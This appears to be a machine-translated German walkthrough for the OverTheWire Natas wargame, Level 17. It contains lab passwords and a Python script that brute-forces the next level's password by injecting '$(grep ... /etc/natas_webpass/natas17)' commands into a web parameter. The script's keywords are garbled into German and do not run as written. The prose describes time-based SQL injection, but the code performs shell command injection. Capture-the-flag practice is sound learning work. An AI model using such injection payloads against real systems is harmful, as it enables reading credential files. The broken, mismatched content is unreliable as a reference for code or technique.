Wir haben zeitbasierte SQL-Injection mithilfe der Sleep-Funktion behandelt. Zeitbasierte SQL-Injection beruht auf der Antwort der Webanwendung, um zu ermitteln, ob eine Injection-Schwachstelle vorliegt oder nicht. Wir haben ein Laborszenario von OverTheWire Natas Level 17 verwendet, das eine Webanwendung implementiert, die überprüft, ob ein Benutzer existiert oder nicht. Dies war Teil von OverTheWire Kriegsspiele Natas Level 17
Holen Sie sich Hinweise zum OSCP-Zertifikat
Natas Level 17 Passwort
8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq
Python-Skript
#!/usr/bin/python
importieren Anfragen
Zeichen = „0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ“
existieren = ''
Passwort = ''
Ziel = 'http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh*@natas16.natas.labs.overthewire.org/'
trueStr = 'Ausgabe:\N\N
'
für X In Zeichen:
R = Anfragen.erhalten(Ziel+'?Nadel=$(grep '+X+' /etc/natas_webpass/natas17)Freitags')
Wenn R.Inhalt.finden(trueStr) != -1:
existieren += X
drucken 'Verwendet: ' + existieren
drucken „Alle Zeichen verwendet. Beginne mit roher Gewalt … Hol dir einen Kaffee, kann eine Weile dauern!“
für ich In Reichweite(32):
für C In existieren:
R = Anfragen.erhalten(Ziel+'?Nadel=$(grep ^'+Passwort+C+' /etc/natas_webpass/natas17)Freitags')
Wenn R.Inhalt.finden(trueStr) != -1:
Passwort += C
drucken 'Passwort: ' + Passwort + '*' * int(32 - len(Passwort))
brechen
drucken 'Vollendet!'
Video-Komplettlösung
Anmerkungen anzeigen